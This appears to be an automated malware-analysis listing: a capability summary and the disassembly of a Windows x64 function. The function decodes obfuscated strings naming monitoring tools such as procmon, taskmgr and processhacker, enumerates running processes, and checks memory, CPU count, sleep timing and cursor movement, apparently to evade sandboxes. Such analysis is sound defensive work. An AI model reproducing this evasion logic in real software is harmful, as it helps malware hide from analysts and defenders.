Function at 0x14000316c
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [section..data]
xor r13d, r13d
mov ebx, 0x180
test rax, rax
jne 0x1400031bf
mov ecx, ebx
call fcn.140001080
test rax, rax
je 0x1400031b5
mov rcx, rax
call fcn.14000143c
jmp 0x1400031b8
mov rax, r13
mov qword [section..data], rax
call qword [rax + 0xb0]
test eax, eax
je 0x1400031d3
mov eax, 1
jmp 0x140003e82
mov rax, qword [section..data]
test rax, rax
jne 0x140003200
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x1400031f6
mov rcx, rax
call fcn.14000143c
jmp 0x1400031f9
mov rax, r13
mov qword [section..data], rax
mov rax, qword [rax + 0x48]
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003e80
mov rax, qword [section..data]
mov r15d, r13d
mov dword [rbp + 0x20], 0x238
mov r14d, r13d
test rax, rax
jne 0x140003252
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x140003248
mov rcx, rax
call fcn.14000143c
jmp 0x14000324b
mov rax, r13
mov qword [section..data], rax
mov rax, qword [rax + 0xc8]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call rax
mov edi, 1
jmp 0x140003653
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x490054
mov dword [rsp + 0x24], 0x5d0041
mov dword [rsp + 0x28], 0x43005e
mov dword [rsp + 0x2c], 0x430054
mov dword [rsp + 0x30], 0x54001f
mov dword [rsp + 0x34], 0x540049
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
mov dword [rsp + 0x4c], 0x310031
mov dword [rsp + 0x50], 0x310031
call fcn.14000409c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
test al, al
je 0x1400032f3
add r15d, edi
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x480041
mov dword [rsp + 0x24], 0x590045
mov dword [rsp + 0x28], 0x5f005e
mov dword [rsp + 0x2c], 0x54001f
mov dword [rsp + 0x30], 0x540049
mov dword [rsp + 0x34], 0x310031
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
call fcn.140004078
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
lea rcx, [rsp + 0x20]
movzx ebx, al
mov dword [rsp + 0x20], 0x500045
mov dword [rsp + 0x24], 0x5a0042
mov dword [rsp + 0x28], 0x56005c
mov dword [rsp + 0x2c], 0x1f0043
mov dword [rsp + 0x30], 0x490054
mov dword [rsp + 0x34], 0x310054
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
mov dword [rsp + 0x4c], 0x310031
call fcn.140004054
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0x430041
mov dword [rsp + 0x24], 0x52005e
mov dword [rsp + 0x28], 0x5e005c
mov dword [rsp + 0x2c], 0x1f005f
mov dword [rsp + 0x30], 0x490054
mov dword [rsp + 0x34], 0x310054
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
mov dword [rsp + 0x4c], 0x310031
call fcn.140004054
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0x540043
mov dword [rsp + 0x24], 0x5c0042
mov dword [rsp + 0x28], 0x5f005e
mov dword [rsp + 0x2c], 0x54001f
mov dword [rsp + 0x30], 0x540049
mov dword [rsp + 0x34], 0x310031
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
call fcn.140004078
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
movzx eax, al
or ebx, eax
mov dword [rsp + 0x20], 0x470054
mov dword [rsp + 0x24], 0x5f0054
mov dword [rsp + 0x28], 0x470045
mov dword [rsp + 0x2c], 0x430046
mov dword [rsp + 0x30], 0x54001f
mov dword [rsp + 0x34], 0x540049
mov dword [rsp + 0x38], 0x310031
mov dword [rsp + 0x3c], 0x310031
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x40], 0x310031
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
mov dword [rsp + 0x4c], 0x310031
mov dword [rsp + 0x50], 0x310031
call fcn.14000409c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0x430041
mov dword [rsp + 0x24], 0x52005e
mov dword [rsp + 0x28], 0x420054
mov dword [rsp + 0x2c], 0x590042
mov dword [rsp + 0x30], 0x520050
mov dword [rsp + 0x34], 0x54005a
mov dword [rsp + 0x38], 0x1f0043
mov dword [rsp + 0x3c], 0x490054
mov dword [rsp + 0x40], 0x310054
mov dword [rsp + 0x44], 0x310031
mov dword [rsp + 0x48], 0x310031
mov dword [rsp + 0x4c], 0x310031
mov dword [rsp + 0x50], 0x310031
mov dword [rsp + 0x54], 0x310031
mov dword [rsp + 0x58], 0x310031
mov dword [rsp + 0x5c], 0x310031
mov dword [rsp + 0x60], 0x310031
mov dword [rsp + 0x64], 0x310031
call fcn.140004030
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x4c]
call fcn.140002204
movzx eax, al
lea ecx, [r14 + 1]
or eax, ebx
mov ebx, 0x180
mov rax, qword [section..data]
cmove ecx, r14d
mov r14d, ecx
test rax, rax
jne 0x140003643
mov ecx, ebx
call fcn.140001080
test rax, rax
je 0x140003639
mov rcx, rax
call fcn.14000143c
jmp 0x14000363c
mov rax, r13
mov qword [section..data], rax
mov rax, qword [rax + 0xd0]
lea rdx, [rbp + 0x20]
mov rcx, rsi
call rax
test eax, eax
jne 0x14000326c
mov rax, qword [section..data]
test rax, rax
jne 0x140003688
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x14000367e
mov rcx, rax
call fcn.14000143c
jmp 0x140003681
mov rax, r13
mov qword [section..data], rax
mov rcx, rsi
call qword [rax + 0x30]
cmp r15d, edi
jg 0x140003e80
test r14d, r14d
jle 0x1400037c9
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x430074
mov dword [rsp + 0x24], 0x5e0043
mov dword [rsp + 0x28], 0x110043
mov dword [rsp + 0x2c], 0x490001
mov dword [rsp + 0x30], 0x10009
mov dword [rsp + 0x34], 0x10001
mov dword [rsp + 0x38], 0x10001
mov dword [rsp + 0x3c], 0x40001
mov dword [rsp + 0x40], 0x11000b
mov dword [rsp + 0x44], 0x520070
mov dword [rsp + 0x48], 0x540052
mov dword [rsp + 0x4c], 0x420042
mov dword [rsp + 0x50], 0x580011
mov dword [rsp + 0x54], 0x110042
mov dword [rsp + 0x58], 0x540075
mov dword [rsp + 0x5c], 0x58005f
mov dword [rsp + 0x60], 0x550054
mov dword [rsp + 0x64], 0x310031
mov dword [rsp + 0x68], 0x310031
mov dword [rsp + 0x6c], 0x310031
mov dword [rsp + 0x70], 0x310031
mov dword [rsp + 0x74], 0x310031
mov dword [rsp + 0x78], 0x310031
mov dword [rsp + 0x7c], 0x310031
mov dword [rbp - 0x80], 0x310031
mov dword [rbp - 0x7c], 0x310031
mov dword [rbp - 0x78], 0x310031
mov dword [rbp - 0x74], 0x310031
mov dword [rbp - 0x70], 0x310031
mov dword [rbp - 0x6c], 0x310031
mov dword [rbp - 0x68], 0x310031
mov dword [rbp - 0x64], 0x310031
mov dword [rbp - 0x60], 0x310031
mov dword [rbp - 0x5c], 0x310031
mov dword [rbp - 0x58], 0x310031
call fcn.14000400c
lea rcx, [rsp + 0x20]
call fcn.140002bcc
mov eax, r14d
jmp 0x140003e82
mov rax, qword [section..data]
mov dword [rbp - 0x20], 0x40
test rax, rax
jne 0x1400037fd
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x1400037f3
mov rcx, rax
call fcn.14000143c
jmp 0x1400037f6
mov rax, r13
mov qword [section..data], rax
lea rcx, [rbp - 0x20]
call qword [rax + 0x90]
mov eax, 0x80000000
cmp qword [rbp - 0x18], rax
jae 0x14000393b
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x430074
mov dword [rsp + 0x24], 0x5e0043
mov dword [rsp + 0x28], 0x110043
mov dword [rsp + 0x2c], 0x490001
mov dword [rsp + 0x30], 0x10009
mov dword [rsp + 0x34], edi
mov dword [rsp + 0x38], 0x10001
mov dword [rsp + 0x3c], 0x40001
mov dword [rsp + 0x40], 0x11000b
mov dword [rsp + 0x44], 0x520070
mov dword [rsp + 0x48], 0x540052
mov dword [rsp + 0x4c], 0x420042
mov dword [rsp + 0x50], 0x580011
mov dword [rsp + 0x54], 0x110042
mov dword [rsp + 0x58], 0x540075
mov dword [rsp + 0x5c], 0x58005f
mov dword [rsp + 0x60], 0x550054
mov dword [rsp + 0x64], 0x310031
mov dword [rsp + 0x68], 0x310031
mov dword [rsp + 0x6c], 0x310031
mov dword [rsp + 0x70], 0x310031
mov dword [rsp + 0x74], 0x310031
mov dword [rsp + 0x78], 0x310031
mov dword [rsp + 0x7c], 0x310031
mov dword [rbp - 0x80], 0x310031
mov dword [rbp - 0x7c], 0x310031
mov dword [rbp - 0x78], 0x310031
mov dword [rbp - 0x74], 0x310031
mov dword [rbp - 0x70], 0x310031
mov dword [rbp - 0x6c], 0x310031
mov dword [rbp - 0x68], 0x310031
mov dword [rbp - 0x64], 0x310031
mov dword [rbp - 0x60], 0x310031
mov dword [rbp - 0x5c], 0x310031
mov dword [rbp - 0x58], 0x310031
call fcn.14000400c
lea rcx, [rsp + 0x20]
call fcn.140002bcc
mov eax, dword [rbp - 0x18]
jmp 0x140003e82
mov rax, qword [section..data]
test rax, rax
jne 0x140003968
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x14000395e
mov rcx, rax
call fcn.14000143c
jmp 0x140003961
mov rax, r13
mov qword [section..data], rax
call qword [rax + 0x88]
mov rsi, rax
mov rax, qword [section..data]
test rax, rax
jne 0x14000399e
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x140003994
mov rcx, rax
call fcn.14000143c
jmp 0x140003997
mov rax, r13
mov qword [section..data], rax
mov r14d, 0x3e8
mov ecx, r14d
call qword [rax + 0xe0]
mov rax, qword [section..data]
test rax, rax
jne 0x1400039da
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x1400039d0
mov rcx, rax
call fcn.14000143c
jmp 0x1400039d3
mov rax, r13
mov qword [section..data], rax
call qword [rax + 0x88]
mov rbx, rax
sub rbx, rsi
cmp rbx, r14
jae 0x140003b17
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x430074
mov dword [rsp + 0x24], 0x5e0043
mov dword [rsp + 0x28], 0x110043
mov dword [rsp + 0x2c], 0x490001
mov dword [rsp + 0x30], 0x10009
mov dword [rsp + 0x34], 0x30001
mov dword [rsp + 0x38], 0x10001
mov dword [rsp + 0x3c], 0x40001
mov dword [rsp + 0x40], 0x11000b
mov dword [rsp + 0x44], 0x520070
mov dword [rsp + 0x48], 0x540052
mov dword [rsp + 0x4c], 0x420042
mov dword [rsp + 0x50], 0x580011
mov dword [rsp + 0x54], 0x110042
mov dword [rsp + 0x58], 0x540075
mov dword [rsp + 0x5c], 0x58005f
mov dword [rsp + 0x60], 0x550054
mov dword [rsp + 0x64], 0x310031
mov dword [rsp + 0x68], 0x310031
mov dword [rsp + 0x6c], 0x310031
mov dword [rsp + 0x70], 0x310031
mov dword [rsp + 0x74], 0x310031
mov dword [rsp + 0x78], 0x310031
mov dword [rsp + 0x7c], 0x310031
mov dword [rbp - 0x80], 0x310031
mov dword [rbp - 0x7c], 0x310031
mov dword [rbp - 0x78], 0x310031
mov dword [rbp - 0x74], 0x310031
mov dword [rbp - 0x70], 0x310031
mov dword [rbp - 0x6c], 0x310031
mov dword [rbp - 0x68], 0x310031
mov dword [rbp - 0x64], 0x310031
mov dword [rbp - 0x60], 0x310031
mov dword [rbp - 0x5c], 0x310031
mov dword [rbp - 0x58], 0x310031
call fcn.14000400c
lea rcx, [rsp + 0x20]
call fcn.140002bcc
mov eax, ebx
jmp 0x140003e82
mov rax, qword [section..data]
mov ebx, 0x180
test rax, rax
jne 0x140003b48
mov ecx, ebx
call fcn.140001080
test rax, rax
je 0x140003b3e
mov rcx, rax
call fcn.14000143c
jmp 0x140003b41
mov rax, r13
mov qword [section..data], rax
lea rcx, [rbp - 0x50]
call qword [rax + 0x80]
mov edx, 2
cmp dword [rbp - 0x30], edx
jae 0x140003c89
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x430074
mov dword [rsp + 0x24], 0x5e0043
mov dword [rsp + 0x28], 0x110043
mov dword [rsp + 0x2c], 0x490001
mov dword [rsp + 0x30], 0x10009
mov dword [rsp + 0x34], 0x20001
mov dword [rsp + 0x38], 0x10001
mov dword [rsp + 0x3c], 0x40001
mov dword [rsp + 0x40], 0x11000b
mov dword [rsp + 0x44], 0x520070
mov dword [rsp + 0x48], 0x540052
mov dword [rsp + 0x4c], 0x420042
mov dword [rsp + 0x50], 0x580011
mov dword [rsp + 0x54], 0x110042
mov dword [rsp + 0x58], 0x540075
mov dword [rsp + 0x5c], 0x58005f
mov dword [rsp + 0x60], 0x550054
mov dword [rsp + 0x64], 0x310031
mov dword [rsp + 0x68], 0x310031
mov dword [rsp + 0x6c], 0x310031
mov dword [rsp + 0x70], 0x310031
mov dword [rsp + 0x74], 0x310031
mov dword [rsp + 0x78], 0x310031
mov dword [rsp + 0x7c], 0x310031
mov dword [rbp - 0x80], 0x310031
mov dword [rbp - 0x7c], 0x310031
mov dword [rbp - 0x78], 0x310031
mov dword [rbp - 0x74], 0x310031
mov dword [rbp - 0x70], 0x310031
mov dword [rbp - 0x6c], 0x310031
mov dword [rbp - 0x68], 0x310031
mov dword [rbp - 0x64], 0x310031
mov dword [rbp - 0x60], 0x310031
mov dword [rbp - 0x5c], 0x310031
mov dword [rbp - 0x58], 0x310031
call fcn.14000400c
lea rcx, [rsp + 0x20]
call fcn.140002bcc
mov eax, dword [rbp - 0x30]
jmp 0x140003e82
mov rax, qword [section..data]
test rax, rax
jne 0x140003cb6
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x140003cac
mov rcx, rax
call fcn.14000143c
jmp 0x140003caf
mov rax, r13
mov qword [section..data], rax
lea rcx, [rbp + 0x2a0]
call qword [rax + 0x178]
mov rax, qword [section..data]
test rax, rax
jne 0x140003cf0
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x140003ce6
mov rcx, rax
call fcn.14000143c
jmp 0x140003ce9
mov rax, r13
mov qword [section..data], rax
mov ecx, r14d
call qword [rax + 0xe0]
mov rax, qword [section..data]
test rax, rax
jne 0x140003d26
mov rcx, rbx
call fcn.140001080
test rax, rax
je 0x140003d1c
mov rcx, rax
call fcn.14000143c
jmp 0x140003d1f
mov rax, r13
mov qword [section..data], rax
lea rcx, [rbp + 0x2a8]
call qword [rax + 0x178]
mov eax, dword [rbp + 0x2a8]
cmp dword [rbp + 0x2a0], eax
jne 0x140003e80
mov eax, dword [rbp + 0x2ac]
cmp dword [rbp + 0x2a4], eax
jne 0x140003e80
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x430074
mov dword [rsp + 0x24], 0x5e0043
mov dword [rsp + 0x28], 0x110043
mov dword [rsp + 0x2c], 0x490001
mov dword [rsp + 0x30], 0x10009
mov dword [rsp + 0x34], 0x50001
mov dword [rsp + 0x38], 0x10001
mov dword [rsp + 0x3c], 0x40001
mov dword [rsp + 0x40], 0x11000b
mov dword [rsp + 0x44], 0x520070
mov dword [rsp + 0x48], 0x540052
mov dword [rsp + 0x4c], 0x420042
mov dword [rsp + 0x50], 0x580011
mov dword [rsp + 0x54], 0x110042
mov dword [rsp + 0x58], 0x540075
mov dword [rsp + 0x5c], 0x58005f
mov dword [rsp + 0x60], 0x550054
mov dword [rsp + 0x64], 0x310031
mov dword [rsp + 0x68], 0x310031
mov dword [rsp + 0x6c], 0x310031
mov dword [rsp + 0x70], 0x310031
mov dword [rsp + 0x74], 0x310031
mov dword [rsp + 0x78], 0x310031
mov dword [rsp + 0x7c], 0x310031
mov dword [rbp - 0x80], 0x310031
mov dword [rbp - 0x7c], 0x310031
mov dword [rbp - 0x78], 0x310031
mov dword [rbp - 0x74], 0x310031
mov dword [rbp - 0x70], 0x310031
mov dword [rbp - 0x6c], 0x310031
mov dword [rbp - 0x68], 0x310031
mov dword [rbp - 0x64], 0x310031
mov dword [rbp - 0x60], 0x310031
mov dword [rbp - 0x5c], 0x310031
mov dword [rbp - 0x58], 0x310031
call fcn.14000400c
lea rcx, [rsp + 0x20]
call fcn.140002bcc
mov eax, dword [rbp + 0x2a0]
jmp 0x140003e82
xor eax, eax
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x360
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret